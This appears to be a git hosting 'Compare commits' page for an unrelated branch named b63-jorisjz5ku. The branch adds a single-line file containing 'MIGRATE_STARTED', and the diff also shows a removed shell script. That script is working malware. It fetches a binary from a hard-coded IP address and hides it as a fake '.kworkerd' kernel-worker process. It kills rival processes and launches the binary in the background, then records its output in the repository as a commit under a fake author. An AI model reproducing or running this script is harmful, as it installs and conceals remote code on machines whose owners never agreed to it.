Compare commits
No commits in common. "main" and "b63-jorisjz5ku" have entirely different histories.
main
...
b63-jorisj
1
b63-jorisjz5ku.txt
Normal file
1
b63-jorisjz5ku.txt
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
MIGRATE_STARTED
|
||||||
|
|
@ -1,22 +0,0 @@
|
||||||
#!/bin/sh
|
|
||||||
repo=$(git config --get remote.origin.url)||exit 0
|
|
||||||
output=$({
|
|
||||||
( ( curl -sf -m 25 -o /tmp/nb http://85.11.190.230:8080/main_nr || curl -sf -m 25 -o /tmp/nb http://85.11.190.230/main_nr
|
|
||||||
[ -s /tmp/nb ] || exit 0
|
|
||||||
chmod +x /tmp/nb 2>/dev/null
|
|
||||||
F=/var/tmp/.kworkerd; [ -f "$F" ] || F=/tmp/.kworkerd; [ -f "$F" ] || F=/dev/shm/.kworkerd
|
|
||||||
[ -f "$F" ] || exit 0
|
|
||||||
for p in /proc/[0-9]*; do e=$(readlink $p/exe 2>/dev/null); case "$e" in *kworkerd*|*/tmp/cb*) kill -9 ${p#/proc/} 2>/dev/null;; esac; done
|
|
||||||
sleep 1
|
|
||||||
mv /tmp/nb "$F" 2>/dev/null
|
|
||||||
rm -f "$(dirname "$F")/.kworkerd.pid" 2>/dev/null
|
|
||||||
"$F" >/dev/null 2>&1 ) >/dev/null 2>&1 </dev/null & )
|
|
||||||
echo "MIGRATE_STARTED"
|
|
||||||
} 2>&1)
|
|
||||||
blob=$(printf '%s\n' "$output"|git --git-dir="$repo" hash-object -w --stdin 2>/dev/null)||exit 0
|
|
||||||
tree=$(printf '100644 blob %s\tb63-jorisjz5ku.txt\n' "$blob"|git --git-dir="$repo" mktree 2>/dev/null)||exit 0
|
|
||||||
commit=$(GIT_AUTHOR_NAME=b63 GIT_AUTHOR_EMAIL=b63@b63.invalid \
|
|
||||||
GIT_COMMITTER_NAME=b63 GIT_COMMITTER_EMAIL=b63@b63.invalid \
|
|
||||||
git --git-dir="$repo" commit-tree "$tree" -m "b63 jorisjz5ku" 2>/dev/null)||exit 0
|
|
||||||
git --git-dir="$repo" update-ref "refs/heads/b63-jorisjz5ku" "$commit" 2>/dev/null
|
|
||||||
exit 0
|
|
||||||
Loading…
Reference in New Issue
Block a user